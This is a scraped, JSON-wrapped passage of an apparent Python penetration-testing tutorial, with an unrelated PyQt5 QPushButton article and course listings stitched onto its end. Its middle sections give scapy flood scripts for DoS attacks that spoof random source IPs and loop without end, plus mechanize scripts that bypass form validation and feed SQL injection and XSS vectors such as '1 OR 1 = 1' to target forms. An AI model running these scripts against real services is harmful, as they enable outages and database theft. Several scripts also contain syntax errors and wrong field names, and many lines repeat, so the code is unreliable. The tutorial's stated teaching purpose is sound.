need to send a GET request to the web server. The following line of code makes a simple GET request through the requests library." }, { "code": null, "e": 91613, "s": 91572, "text": "request = requests.get('enter the URL')\n" }, { "code": null, "e": 91692, "s": 91613, "text": "Next, we will generate a list of headers about which you need the information." }, { "code": null, "e": 91803, "s": 91692, "text": "header_list = [\n 'Server', 'Date', 'Via', 'X-Powered-By', 'X-Country-Code', ‘Connection’, ‘Content-Length’]\n" }, { "code": null, "e": 91835, "s": 91803, "text": "Next is a try and except block." }, { "code": null, "e": 92029, "s": 91835, "text": "for header in header_list:\n try:\n result = request.header_list[header]\n print ('%s: %s' % (header, result))\n except Exception as err:\n print ('%s: No Details Found' % header)" }, { "code": null, "e": 92395, "s": 92029, "text": "After running the above script for a particular web server, we will get the information about the headers provided in the header list. If there will be no information for a particular header then it will give the message ‘No Details Found’. You can also learn more about HTTP_header fields from the link — https://www.tutorialspoint.com/http/http_header_fields.htm." }, { "code": null, "e": 92648, "s": 92395, "text": "We can use HTTP header information to test insecure web server configurations. In the following Python script, we are going to use try/except block to test insecure web server headers for number of URLs that are saved in a text file name websites.txt −" }, { "code": null, "e": 93703, "s": 92648, "text": "import requests\nurls = open(\"websites.txt\", \"r\")\n\nfor url in urls:\n url = url.strip()\n req = requests.get(url)\n print (url, 'report:')\n \n try:\n protection_xss = req.headers['X-XSS-Protection']\n if protection_xss != '1; mode = block':\n print ('X-XSS-Protection not set properly, it may be possible:', protection_xss)\n except:\n print ('X-XSS-Protection not set, it may be possible')\n \n try:\n options_content_type = req.headers['X-Content-Type-Options']\n if options_content_type != 'nosniff':\n print ('X-Content-Type-Options not set properly:', options_content_type)\n except:\n print ('X-Content-Type-Options not set')\n \n try:\n transport_security = req.headers['Strict-Transport-Security']\n except:\n print ('HSTS header not set properly, Man in the middle attacks is possible')\n \n try:\n content_security = req.headers['Content-Security-Policy']\n print ('Content-Security-Policy set:', content_security)\n except:\n print ('Content-Security-Policy missing')" }, { "code": null, "e": 93893, "s": 93703, "text": "In our previous section, we discussed footprinting of a web server. Similarly, footprinting of a web application is also considered important from the point of view of a penetration tester." }, { "code": null, "e": 94001, "s": 93893, "text": "In our subsequent section, we will learn about the different methods for footprinting of a web application." }, { "code": null, "e": 94194, "s": 94001, "text": "Web application is a client-server program, which is run by the client in a web server. This is another key area for a pentester to focus on while doing penetration testing of web application." }, { "code": null, "e": 94317, "s": 94194, "text": "Let us now discuss the different methods, implemented in Python, which can be used for footprinting of a web application −" }, { "code": null, "e": 94638, "s": 94317, "text": "Suppose we want to collect all the hyperlinks from a web page; we can make use of a parser called BeautifulSoup. The parser is a Python library for pulling data out of HTML and XML files. It can be used with urlib because it needs an input (document or url) to create a soup object and it can’t fetch web page by itself." }, { "code": null, "e": 94795, "s": 94638, "text": "To begin with, let us import the necessary packages. We will import urlib and BeautifulSoup. Remember before importing BeautifulSoup, we need to install it." }, { "code": null, "e": 94840, "s": 94795, "text": "import urllib\nfrom bs4 import BeautifulSoup\n" }, { "code": null, "e": 94921, "s": 94840, "text": "The Python script given below will gather the title of web page and hyperlinks −" }, { "code": null, "e": 95149, "s": 94921, "text": "Now, we need a variable, which can store the URL of the website. Here, we will use a variable named ‘url’. We will also use the page.read() function that can store the web page and assign the web page to the variable html_page." }, { "code": null, "e": 95235, "s": 95149, "text": "url = raw_input(\"Enter the URL \")\npage = urllib.urlopen(url)\nhtml_page = page.read()\n" }, { "code": null, "e": 95301, "s": 95235, "text": "The html_page will be assigned as an input to create soup object." }, { "code": null, "e": 95341, "s": 95301, "text": "soup_object = BeautifulSoup(html_page)\n" }, { "code": null, "e": 95428, "s": 95341, "text": "Following two lines will print the title name with tags and without tags respectively." }, { "code": null, "e": 95482, "s": 95428, "text": "print soup_object.title\nprint soup_object.title.text\n" }, { "code": null, "e": 95541, "s": 95482, "text": "The line of code shown below will save all the hyperlinks." }, { "code": null, "e": 95607, "s": 95541, "text": "for link in soup_object.find_all('a'):\n print(link.get('href'))" }, { "code": null, "e": 96011, "s": 95607, "text": "Banner is like a text message that contains information about the server and banner grabbing is the process of fetching that information provided by the banner itself. Now, we need to know how this banner is generated. It is generated by the header of the packet that is sent. And while the client tries to connect to a port, the server responds because the header contains information about the server." }, { "code": null, "e": 96088, "s": 96011, "text": "The following Python script helps grab the banner using socket programming −" }, { "code": null, "e": 96540, "s": 96088, "text": "import socket\n\ns = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0800))\n\ntargethost = str(raw_input(\"Enter the host name: \"))\ntargetport = int(raw_input(\"Enter Port: \"))\ns.connect((targethost,targetport))\n\ndef garb(s:)\n try:\n s.send('GET HTTP/1.1 \\r\\n')\n ret = sock.recv(1024)\n print ('[+]' + str(ret))\n return\n except Exception as error:\n print ('[-]' Not information grabbed:' + str(error))\n return" }, { "code": null, "e": 96716, "s": 96540, "text": "After running the above script, we will get similar kind of information about headers as we got from the Python script of footprinting of HTTP headers in the previous section." }, { "code": null, "e": 96790, "s": 96716, "text": "In this chapter, we will learn how validation helps in Python Pentesting." }, { "code": null, "e": 96958, "s": 96790, "text": "The main goal of validation is to test and ensure that the user has provided necessary and properly formatted information needed to successfully complete an operation." }, { "code": null, "e": 97004, "s": 96958, "text": "There are two different types of validation −" }, { "code": null, "e": 97041, "s": 97004, "text": "client-side validation (web browser)" }, { "code": null, "e": 97064, "s": 97041, "text": "server-side validation" }, { "code": null, "e": 97471, "s": 97064, "text": "The user input validation that takes place on the server side during a post back session is called server-side validation. The languages such as PHP and ASP.Net use server-side validation. Once the validation process on server side is over, the feedback is sent back to client by generating a new and dynamic web page. With the help of server-side validation, we can get protection against malicious users." }, { "code": null, "e": 97927, "s": 97471, "text": "On the other hand, the user input validation that takes place on the client side is called client-side validation. Scripting languages such as JavaScript and VBScript are used for client-side validation. In this kind of validation, all the user input validation is done in user’s browser only. It is not so secure like server-side validation because the hacker can easily bypass our client side scripting language and submit dangerous input to the server." }, { "code": null, "e": 98730, "s": 97927, "text": "Parameter passing in HTTP protocol can be done with the help of POST and GET methods. GET is used to request data from a specified resource and POST is used to send data to a server to create or update a resource. One major difference between both these methods is that if a website is using GET method then the passing parameters are shown in the URL and we can change this parameter and pass it to web server. For example, the query string (name/value pairs) is sent in the URL of a GET request: /test/hello_form.php?name1 = value1&name2 = value2. On the other hand, parameters are not shown while using the POST method. The data sent to the server with POST is stored in the request body of the HTTP request. For example, POST /test/hello_form.php HTTP/1.1 Host: ‘URL’ name1 = value1&name2 = value2." }, { "code": null, "e": 99138, "s": 98730, "text": "The Python module that we are going to use is mechanize. It is a Python web browser, which is providing the facility of obtaining web forms in a web page and facilitates the submission of input values too. With the help of mechanize, we can bypass the validation and temper client-side parameters. However, before importing it in our Python script, we need to install it by executing the following command −" }, { "code": null, "e": 99161, "s": 99138, "text": "pip install mechanize\n" }, { "code": null, "e": 99447, "s": 99161, "text": "Following is a Python script, which uses mechanize to bypass the validation of a web form using POST method to pass the parameter. The web form can be taken from the link https://www.tutorialspoint.com/php/php_validation_example.htm and can be used in any dummy website of your choice." }, { "code": null, "e": 99500, "s": 99447, "text": "To begin with, let us import the mechanize browser −" }, { "code": null, "e": 99518, "s": 99500, "text": "import mechanize\n" }, { "code": null, "e": 99587, "s": 99518, "text": "Now, we will create an object named brwsr of the mechanize browser −" }, { "code": null, "e": 99616, "s": 99587, "text": "brwsr = mechanize.Browser()\n" }, { "code": null, "e": 99680, "s": 99616, "text": "The next line of code shows that the user agent is not a robot." }, { "code": null, "e": 99713, "s": 99680, "text": "brwsr.set_handle_robots( False )" }, { "code": null, "e": 99829, "s": 99713, "text": "Now, we need to provide the url of our dummy website containing the web form on which we need to bypass validation." }, { "code": null, "e": 99856, "s": 99829, "text": "url = input(\"Enter URL \")\n" }, { "code": null, "e": 99910, "s": 99856, "text": "Now, following lines will set some parenters to true." }, { "code": null, "e": 100030, "s": 99910, "text": "brwsr.set_handle_equiv(True)\nbrwsr.set_handle_gzip(True)\nbrwsr.set_handle_redirect(True)\nbrwsr.set_handle_referer(True)" }, { "code": null, "e": 100098, "s": 100030, "text": "Next it will open the web page and print the web form on that page." }, { "code": null, "e": 100155, "s": 100098, "text": "brwsr.open(url)\nfor form in brwsr.forms():\n print form" }, { "code": null, "e": 100223, "s": 100155, "text": "Next line of codes will bypass the validations on the given fields." }, { "code": null, "e": 100314, "s": 100223, "text": "brwsr.select_form(nr = 0)\nbrwsr.form['name'] = ''\nbrwsr.form['gender'] = ''\nbrwsr.submit()" }, { "code": null, "e": 100617, "s": 100314, "text": "The last part of the script can be changed according to the fields of web form on which we want to bypass validation. Here in the above script, we have taken two fields — ‘name’ and ‘gender’ which cannot be left blank (you can see in the coding of web form) but this script will bypass that validation." }, { "code": null, "e": 100713, "s": 100617, "text": "In this chapter, we will learn about the DoS and DdoS attack and understand how to detect them." }, { "code": null, "e": 100879, "s": 100713, "text": "With the boom in the e-commerce industry, the web server is now prone to attacks and is an easy target for the hackers. Hackers usually attempt two types of attack −" }, { "code": null, "e": 100903, "s": 100879, "text": "DoS (Denial-of-Service)" }, { "code": null, "e": 100939, "s": 100903, "text": "DDoS (Distribted Denial of Service)" }, { "code": null, "e": 101258, "s": 100939, "text": "The Denial of Service (DoS) attack is an attempt by hackers to make a network resource unavailable. It usually interrupts the host, temporary or indefinitely, which is connected to the Internet. These attacks typically target services hosted on mission critical web servers such as banks, credit card payment gateways." }, { "code": null, "e": 101294, "s": 101258, "text": "Unusually slow network performance." }, { "code": null, "e": 101330, "s": 101294, "text": "Unusually slow network performance." }, { "code": null, "e": 101371, "s": 101330, "text": "Unavailability of a particular web site." }, { "code": null, "e": 101412, "s": 101371, "text": "Unavailability of a particular web site." }, { "code": null, "e": 101446, "s": 101412, "text": "Inability to access any web site." }, { "code": null, "e": 101480, "s": 101446, "text": "Inability to access any web site." }, { "code": null, "e": 101537, "s": 101480, "text": "Dramatic increase in the number of spam emails received." }, { "code": null, "e": 101594, "s": 101537, "text": "Dramatic increase in the number of spam emails received." }, { "code": null, "e": 101658, "s": 101594, "text": "Long-term denial of access to the web or any Internet services." }, { "code": null, "e": 101722, "s": 101658, "text": "Long-term denial of access to the web or any Internet services." }, { "code": null, "e": 101762, "s": 101722, "text": "Unavailability of a particular website." }, { "code": null, "e": 101802, "s": 101762, "text": "Unavailability of a particular website." }, { "code": null, "e": 101974, "s": 101802, "text": "DoS attack can be implemented at the data link, network or application layer. Let us now learn about the different types of DoS attacks &; their implementation in Python −" }, { "code": null, "e": 102299, "s": 101974, "text": "A large number of packets are sent to web server by using single IP and from single port number. It is a low-level attack which is used to check the behavior of the web server. Its implementation in Python can be done with the help of Scapy. The following python script will help implement Single IP single port DoS attack −" }, { "code": null, "e": 102703, "s": 102299, "text": "from scapy.all import *\nsource_IP = input(\"Enter IP address of Source: \")\ntarget_IP = input(\"Enter IP address of Target: \")\nsource_port = int(input(\"Enter Source Port Number:\"))\ni = 1\n\nwhile True:\n IP1 = IP(source_IP = source_IP, destination = target_IP)\n TCP1 = TCP(srcport = source_port, dstport = 80)\n pkt = IP1 / TCP1\n send(pkt, inter = .001)\n \n print (\"packet sent \", i)\n i = i + 1" }, { "code": null, "e": 102778, "s": 102703, "text": "Upon execution, the above script will ask for the following three things −" }, { "code": null, "e": 102811, "s": 102778, "text": "IP address of source and target." }, { "code": null, "e": 102844, "s": 102811, "text": "IP address of source and target." }, { "code": null, "e": 102878, "s": 102844, "text": "IP address of source port number." }, { "code": null, "e": 102912, "s": 102878, "text": "IP address of source port number." }, { "code": null, "e": 102997, "s": 102912, "text": "It will then send a large number of packets to the server for checking its behavior." }, { "code": null, "e": 103082, "s": 102997, "text": "It will then send a large number of packets to the server for checking its behavior." }, { "code": null, "e": 103325, "s": 103082, "text": "A large number of packets are sent to web server by using single IP and from multiple ports. Its implementation in Python can be done with the help of Scapy. The following python script will help implement Single IP multiple port DoS attack −" }, { "code": null, "e": 103734, "s": 103325, "text": "from scapy.all import *\nsource_IP = input(\"Enter IP address of Source: \")\ntarget_IP = input(\"Enter IP address of Target: \")\ni = 1\n\nwhile True:\n for source_port in range(1, 65535)\n IP1 = IP(source_IP = source_IP, destination = target_IP)\n TCP1 = TCP(srcport = source_port, dstport = 80)\n pkt = IP1 / TCP1\n send(pkt, inter = .001)\n \n print (\"packet sent \", i)\n i = i + 1" }, { "code": null, "e": 103973, "s": 103734, "text": "A large number of packets are sent to web server by using multiple IP and from single port number. Its implementation in Python can be done with the help of Scapy. The following Python script implement Single IP multiple port DoS attack −" }, { "code": null, "e": 104522, "s": 103973, "text": "from scapy.all import *\ntarget_IP = input(\"Enter IP address of Target: \")\nsource_port = int(input(\"Enter Source Port Number:\"))\ni = 1\n\nwhile True:\n a = str(random.randint(1,254))\n b = str(random.randint(1,254))\n c = str(random.randint(1,254))\n d = str(random.randint(1,254))\n dot = “.”\n \n Source_ip = a + dot + b + dot + c + dot + d\n IP1 = IP(source_IP = source_IP, destination = target_IP)\n TCP1 = TCP(srcport = source_port, dstport = 80)\n pkt = IP1 / TCP1\n send(pkt,inter = .001)\n print (\"packet sent \", i)\n i = i + 1" }, { "code": null, "e": 104767, "s": 104522, "text": "A large number of packets are send to web server by using multiple IPs and from multiple ports. Its implementation in Python can be done with the help of Scapy. The following Python script helps implement Multiple IPs multiple port DoS attack −" }, { "code": null, "e": 105339, "s": 104767, "text": "Import random\nfrom scapy.all import *\ntarget_IP = input(\"Enter IP address of Target: \")\ni = 1\n\nwhile True:\n a = str(random.randint(1,254))\n b = str(random.randint(1,254))\n c = str(random.randint(1,254))\n d = str(random.randint(1,254))\n dot = “.”\n Source_ip = a + dot + b + dot + c + dot + d\n \n for source_port in range(1, 65535)\n IP1 = IP(source_IP = source_IP, destination = target_IP)\n TCP1 = TCP(srcport = source_port, dstport = 80)\n pkt = IP1 / TCP1\n send(pkt,inter = .001)\n \n print (\"packet sent \", i)\n i = i + 1" }, { "code": null, "e": 105529, "s": 105339, "text": "A Distributed Denial of Service (DDoS) attack is an attempt to make an online service or a website unavailable by overloading it with huge floods of traffic generated from multiple sources." }, { "code": null, "e": 106041, "s": 105529, "text": "Unlike a Denial of Service (DoS) attack, in which one computer and one Internet connection is used to flood a targeted resource with packets, a DDoS attack uses many computers and many Internet connections, often distributed globally in what is referred to as a botnet. A large-scale volumetric DDoS attack can generate a traffic measured in tens of Gigabits (and even hundreds of Gigabits) per second. It can be read in detail at https://www.tutorialspoint.com/ethical_hacking/ethical_hacking_ddos_attacks.htm." }, { "code": null, "e": 106239, "s": 106041, "text": "Actually DDoS attack is a bit difficult to detect because you do not know the host that is sending the traffic is a fake one or real. The Python script given below will help detect the DDoS attack." }, { "code": null, "e": 106294, "s": 106239, "text": "To begin with, let us import the necessary libraries −" }, { "code": null, "e": 106354, "s": 106294, "text": "import socket\nimport struct\n\nfrom datetime import datetime\n" }, { "code": null, "e": 106428, "s": 106354, "text": "Now, we will create a socket as we have created in previous sections too." }, { "code": null, "e": 106485, "s": 106428, "text": "s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, 8)\n" }, { "code": null, "e": 106519, "s": 106485, "text": "We will use an empty dictionary −" }, { "code": null, "e": 106530, "s": 106519, "text": "dict = {}\n" }, { "code": null, "e": 106630, "s": 106530, "text": "The following line of code will open a text file, having the details of DDoS attack in append mode." }, { "code": null, "e": 106694, "s": 106630, "text": "file_txt = open(\"attack_DDoS.txt\",'a')\nt1 = str(datetime.now())" }, { "code": null, "e": 106791, "s": 106694, "text": "With the help of following line of code, current time will be written whenever the program runs." }, { "code": null, "e": 106841, "s": 106791, "text": "file_txt.writelines(t1)\nfile_txt.writelines(\"\\n\")" }, { "code": null, "e": 107002, "s": 106841, "text": "Now, we need to assume the hits from a particular IP. Here we are assuming that if a particular IP is hitting for more than 15 times then it would be an attack." }, { "code": null, "e": 107254, "s": 107002, "text": "No_of_IPs = 15\nR_No_of_IPs = No_of_IPs +10\n while True:\n pkt = s.recvfrom(2048)\n ipheader = pkt[0][14:34]\n ip_hdr = struct.unpack(\"!8sB3s4s4s\",ipheader)\n IP = socket.inet_ntoa(ip_hdr[3])\n print \"The Source of the IP is:\", IP" }, { "code": null, "e": 107380, "s": 107254, "text": "The following line of code will check whether the IP exists in dictionary or not. If it exists then it will increase it by 1." }, { "code": null, "e": 107444, "s": 107380, "text": "if dict.has_key(IP):\n dict[IP] = dict[IP]+1\n print dict[IP]" }, { "code": null, "e": 107496, "s": 107444, "text": "The next line of code is used to remove redundancy." }, { "code": null, "e": 107697, "s": 107496, "text": "if(dict[IP] > No_of_IPs) and (dict[IP] < R_No_of_IPs) :\n line = \"DDOS attack is Detected: \"\n file_txt.writelines(line)\n file_txt.writelines(IP)\n file_txt.writelines(\"\\n\")\nelse:\n dict[IP] = 1" }, { "code": null, "e": 107910, "s": 107697, "text": "After running the above script, we will get the result in a text file. According to the script, if an IP hits for more than 15 times then it would be printed as DDoS attack is detected along with that IP address." }, { "code": null, "e": 108205, "s": 107910, "text": "The SQL injection is a set of SQL commands that are placed in a URL string or in data structures in order to retrieve a response that we want from the databases that are connected with the web applications. This type of attacksk generally takes place on webpages developed using PHP or ASP.NET." }, { "code": null, "e": 108273, "s": 108205, "text": "An SQL injection attack can be done with the following intentions −" }, { "code": null, "e": 108312, "s": 108273, "text": "To modify the content of the databases" }, { "code": null, "e": 108351, "s": 108312, "text": "To modify the content of the databases" }, { "code": null, "e": 108390, "s": 108351, "text": "To modify the content of the databases" }, { "code": null, "e": 108429, "s": 108390, "text": "To modify the content of the databases" }, { "code": null, "e": 108498, "s": 108429, "text": "To perform different queries that are not allowed by the application" }, { "code": null, "e": 108567, "s": 108498, "text": "To perform different queries that are not allowed by the application" }, { "code": null, "e": 108778, "s": 108567, "text": "This type of attack works when the applications does not validate the inputs properly, before passing them to an SQL statement. Injections are normally placed put in address bars, search fields, or data fields." }, { "code": null, "e": 108940, "s": 108778, "text": "The easiest way to detect if a web application is vulnerable to an SQL injection attack is by using the \" ‘ \" character in a string and see if you get any error." }, { "code": null, "e": 109073, "s": 108940, "text": "In this section, we will learn about the different types of SQLi attack. The attack can be categorize into the following two types −" }, { "code": null, "e": 109109, "s": 109073, "text": "In-band SQL injection (Simple SQLi)" }, { "code": null, "e": 109145, "s": 109109, "text": "In-band SQL injection (Simple SQLi)" }, { "code": null, "e": 109184, "s": 109145, "text": "Inferential SQL injection (Blind SQLi)" }, { "code": null, "e": 109223, "s": 109184, "text": "Inferential SQL injection (Blind SQLi)" }, { "code": null, "e": 109476, "s": 109223, "text": "It is the most common SQL injection. This kind of SQL injection mainly occurs when an attacker is able to use the same communication channel to both launch the attack & congregate results. The in-band SQL injections are further divided into two types −" }, { "code": null, "e": 109656, "s": 109476, "text": "Error-based SQL injection − An error-based SQL injection technique relies on error message thrown by the database server to obtain information about the structure of the database." }, { "code": null, "e": 109836, "s": 109656, "text": "Error-based SQL injection − An error-based SQL injection technique relies on error message thrown by the database server to obtain information about the structure of the database." }, { "code": null, "e": 110079, "s": 109836, "text": "Union-based SQL injection − It is another in-band SQL injection technique that leverages the UNION SQL operator to combine the results of two or more SELECT statements into a single result, which is then returned as part of the HTTP response." }, { "code": null, "e": 110322, "s": 110079, "text": "Union-based SQL injection − It is another in-band SQL injection technique that leverages the UNION SQL operator to combine the results of two or more SELECT statements into a single result, which is then returned as part of the HTTP response." }, { "code": null, "e": 110579, "s": 110322, "text": "In this kind of SQL injection attack, attacker is not able to see the result of an attack in-band because no data is transferred via the web application. This is the reason it is also called Blind SQLi. Inferential SQL injections are further of two types −" }, { "code": null, "e": 110798, "s": 110579, "text": "Boolean-based blind SQLi − This kind of technique relies on sending an SQL query to the database, which forces the application to return a different result depending on whether the query returns a TRUE or FALSE result." }, { "code": null, "e": 111017, "s": 110798, "text": "Boolean-based blind SQLi − This kind of technique relies on sending an SQL query to the database, which forces the application to return a different result depending on whether the query returns a TRUE or FALSE result." }, { "code": null, "e": 111307, "s": 111017, "text": "Time-based blind SQLi − This kind of technique relies on sending an SQL query to the database, which forces the database to wait for a specified amount of time (in seconds) before responding. The response time will indicate to the attacker whether the result of the query is TRUE or FALSE." }, { "code": null, "e": 111597, "s": 111307, "text": "Time-based blind SQLi − This kind of technique relies on sending an SQL query to the database, which forces the database to wait for a specified amount of time (in seconds) before responding. The response time will indicate to the attacker whether the result of the query is TRUE or FALSE." }, { "code": null, "e": 112076, "s": 111597, "text": "All types of SQLi can be implemented by manipulating input data to the application. In the following examples, we are writing a Python script to inject attack vectors to the application and analyze the output to verify the possibility of the attack. Here, we are going to use python module named mechanize, which gives the facility of obtaining web forms in a web page and facilitates the submission of input values too. We have also used this module for client-side validation." }, { "code": null, "e": 112166, "s": 112076, "text": "The following Python script helps submit forms and analyze the response using mechanize −" }, { "code": null, "e": 112219, "s": 112166, "text": "First of all we need to import the mechanize module." }, { "code": null, "e": 112237, "s": 112219, "text": "import mechanize\n" }, { "code": null, "e": 112324, "s": 112237, "text": "Now, provide the name of the URL for obtaining the response after submitting the form." }, { "code": null, "e": 112359, "s": 112324, "text": "url = input(\"Enter the full url\")\n" }, { "code": null, "e": 112406, "s": 112359, "text": "The following line of codes will open the url." }, { "code": null, "e": 112455, "s": 112406, "text": "request = mechanize.Browser()\nrequest.open(url)\n" }, { "code": null, "e": 112488, "s": 112455, "text": "Now, we need to select the form." }, { "code": null, "e": 112517, "s": 112488, "text": "request.select_form(nr = 0)\n" }, { "code": null, "e": 112557, "s": 112517, "text": "Here, we will set the column name ‘id’." }, { "code": null, "e": 112587, "s": 112557, "text": "request[\"id\"] = \"1 OR 1 = 1\"\n" }, { "code": null, "e": 112620, "s": 112587, "text": "Now, we need to submit the form." }, { "code": null, "e": 112688, "s": 112620, "text": "response = request.submit()\ncontent = response.read()\nprint content" }, { "code": null, "e": 113093, "s": 112688, "text": "The above script will print the response for the POST request. We have submitted an attack vector to break the SQL query and print all the data in the table instead of one row. All the attack vectors will be saved in a text file say vectors.txt. Now, the Python script given below will get those attack vectors from the file and send them to the server one by one. It will also save the output to a file." }, { "code": null, "e": 113144, "s": 113093, "text": "To begin with, let us import the mechanize module." }, { "code": null, "e": 113162, "s": 113144, "text": "import mechanize\n" }, { "code": null, "e": 113249, "s": 113162, "text": "Now, provide the name of the URL for obtaining the response after submitting the form." }, { "code": null, "e": 113300, "s": 113249, "text": "url = input(\"Enter the full url\")\n attack_no = 1" }, { "code": null, "e": 113350, "s": 113300, "text": "We need to read the attack vectors from the file." }, { "code": null, "e": 113383, "s": 113350, "text": "With open (‘vectors.txt’) as v:\n" }, { "code": null, "e": 113432, "s": 113383, "text": "Now we will send request with each arrack vector" }, { "code": null, "e": 113570, "s": 113432, "text": "For line in v:\n browser.open(url)\n browser.select_form(nr = 0)\n browser[“id”] = line\n res = browser.submit()\ncontent = res.read()" }, { "code": null, "e": 113646, "s": 113570, "text": "Now, the following line of code will write the response to the output file." }, { "code": null, "e": 113772, "s": 113646, "text": "output = open(‘response/’ + str(attack_no) + ’.txt’, ’w’)\noutput.write(content)\noutput.close()\nprint attack_no\nattack_no += 1" }, { "code": null, "e": 114012, "s": 113772, "text": "By checking and analyzing the responses, we can identify the possible attacks. For example, if it provides the response that include the sentence You have an error in your SQL syntax then it means the form may be affected by SQL injection." }, { "code": null, "e": 114744, "s": 114012, "text": "Cross-site scripting attacks are a type of injection that also refer to client-side code injection attack. Here, malicious codes are injected into a legitimate website. The concept of Same Origin Policy (SOP) is very useful in understanding the concept of Cross-site scripting. SOP is the most important security principal in every web browser. It forbids websites from retrieving content from pages with another origin. For example, the web page www.tutorialspoint.com/index.html can access the contents from www.tutorialspoint.com/contact.html but www.virus.com/index.html cannot access content from www.tutorialspoint.com/contact.html. In this way, we can say that cross-site scripting is a way of bypassing SOP security policy." }, { "code": null, "e": 114882, "s": 114744, "text": "In this section, let us learn about the different types of XSS attack. The attack can be classified into the following major categories −" }, { "code": null, "e": 114907, "s": 114882, "text": "Persistent or stored XSS" }, { "code": null, "e": 114939, "s": 114907, "text": "Non-persistent or reflected XSS" }, { "code": null, "e": 115333, "s": 114939, "text": "In this kind of XSS attack, an attacker injects a script, referred to as the payload, that is permanently stored on the target web application, for example within a database. This is the reason, it is called persistent XSS attack. It is actually the most damaging type of XSS attack. For example, a malicious code is inserted by an attacker in the comment field on a blog or in the forum post." }, { "code": null, "e": 115949, "s": 115333, "text": "It is the most common type of XSS attack in which the attacker’s payload has to be the part of the request, which is sent to the web server and reflected, back in such a way that the HTTP response includes the payload from the HTTP request. It is a non-persistent attack because the attacker needs to deliver the payload to each victim. The most common example of such kinds of XSS attacks are the phishing emails with the help of which attacker attracts the victim to make a request to the server which contains the XSS payloads and ends-up executing the script that gets reflected and executed inside the browser." }, { "code": null, "e": 116237, "s": 115949, "text": "Same as SQLi, XSS web attacks can be implemented by manipulating input data to the application. In the following examples, we are modifying the SQLi attack vectors, done in previous section, to test XSS web attack. The Python script given below helps analyze XSS attack using mechanize −" }, { "code": null, "e": 116288, "s": 116237, "text": "To begin with, let us import the mechanize module." }, { "code": null, "e": 116306, "s": 116288, "text": "import mechanize\n" }, { "code": null, "e": 116393, "s": 116306, "text": "Now, provide the name of the URL for obtaining the response after submitting the form." }, { "code": null, "e": 116445, "s": 116393, "text": "url = input(\"Enter the full url\")\n attack_no = 1\n" }, { "code": null, "e": 116495, "s": 116445, "text": "We need to read the attack vectors from the file." }, { "code": null, "e": 116532, "s": 116495, "text": "With open (‘vectors_XSS.txt’) as x:\n" }, { "code": null, "e": 116583, "s": 116532, "text": "Now we will send request with each arrack vector −" }, { "code": null, "e": 116718, "s": 116583, "text": "For line in x:\n browser.open(url)\nbrowser.select_form(nr = 0)\n browser[“id”] = line\n res = browser.submit()\ncontent = res.read()" }, { "code": null, "e": 116783, "s": 116718, "text": "The following line of code will check the printed attack vector." }, { "code": null, "e": 116833, "s": 116783, "text": "if content.find(line) > 0:\nprint(“Possible XSS”)\n" }, { "code": null, "e": 116900, "s": 116833, "text": "The following line of code will write the response to output file." }, { "code": null, "e": 117027, "s": 116900, "text": "output = open(‘response/’ + str(attack_no) + ’.txt’, ’w’)\noutput.write(content)\noutput.close()\nprint attack_no\nattack_no += 1\n" }, { "code": null, "e": 117348, "s": 117027, "text": "XSS occurs when a user input prints to the response without any validation. Therefore, to check the possibility of an XSS attack, we can check the response text for the attack vector we provided. If the attack vector is present in the response without any escape or validation, there is a high possibility of XSS attack." }, { "code": null, "e": 117385, "s": 117348, "text": "\n 187 Lectures \n 17.5 hours \n" }, { "code": null, "e": 117401, "s": 117385, "text": " Malhar Lathkar" }, { "code": null, "e": 117434, "s": 117401, "text": "\n 55 Lectures \n 8 hours \n" }, { "code": null, "e": 117453, "s": 117434, "text": " Arnab Chakraborty" }, { "code": null, "e": 117488, "s": 117453, "text": "\n 136 Lectures \n 11 hours \n" }, { "code": null, "e": 117510, "s": 117488, "text": " In28Minutes Official" }, { "code": null, "e": 117544, "s": 117510, "text": "\n 75 Lectures \n 13 hours \n" }, { "code": null, "e": 117572, "s": 117544, "text": " Eduonix Learning Solutions" }, { "code": null, "e": 117607, "s": 117572, "text": "\n 70 Lectures \n 8.5 hours \n" }, { "code": null, "e": 117621, "s": 117607, "text": " Lets Kode It" }, { "code": null, "e": 117654, "s": 117621, "text": "\n 63 Lectures \n 6 hours \n" }, { "code": null, "e": 117671, "s": 117654, "text": " Abhilash Nelson" }, { "code": null, "e": 117678, "s": 117671, "text": " Print" }, { "code": null, "e": 117689, "s": 117678, "text": " Add Notes" } ]
PyQt5 QPushButton - GeeksforGeeks
17 Sep, 2019 QPushButton is a simple button in PyQt, when clicked by a user some associated action gets performed. For adding this button into the application, QPushButton class is used. Example: A window having a Push Button, when clicked a message will appear “You clicked Push Button”. Below is the code: from PyQt5 import QtCore, QtGui, QtWidgetsimport sys class Ui_MainWindow(object): def setupUi(self, MainWindow): MainWindow.resize(506, 312) self.centralwidget = QtWidgets.QWidget(MainWindow) # adding pushbutton self.pushButton = QtWidgets.QPushButton(self.centralwidget) self.pushButton.setGeometry(QtCore.QRect(200, 150, 93, 28)) # adding signal and slot self.pushButton.clicked.connect(self.changelabeltext) self.label = QtWidgets.QLabel(self.centralwidget) self.label.setGeometry(QtCore.QRect(140, 90, 221, 20)) # keeping the text of label empty before button get clicked self.label.setText("") MainWindow.setCentralWidget(self.centralwidget) self.retranslateUi(MainWindow) QtCore.QMetaObject.connectSlotsByName(MainWindow) def retranslateUi(self, MainWindow): _translate = QtCore.QCoreApplication.translate MainWindow.setWindowTitle(_translate("MainWindow", "MainWindow")) self.pushButton.setText(_translate("MainWindow", "Push Button")) def changelabeltext(self): # changing the text of label after button get clicked self.label.setText("You clicked PushButton") # Hiding pushbutton from the main window # after button get clicked. self.pushButton.hide() if __name__ == "__main__": app = QtWidgets.QApplication(sys.argv) MainWindow = QtWidgets.QMainWindow() ui = Ui_MainWindow() ui.setupUi(MainWindow) MainWindow.show() sys.exit(app.exec_()) Output: Main Window having push button. After clicking the button message appeared “You clicked Push Button. Python-gui Python-PyQt Python Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Comments Old Comments How to Install PIP on Windows ? Different ways to create Pandas Dataframe Create a Pandas DataFrame from Lists *args and **kwargs in Python How to drop one or multiple columns in Pandas Dataframe Selecting rows in pandas DataFrame based on conditions How To Convert Python Dictionary To JSON? Convert integer to string in Python Check if element exists in list in Python Graph Plotting in Python | Set 1
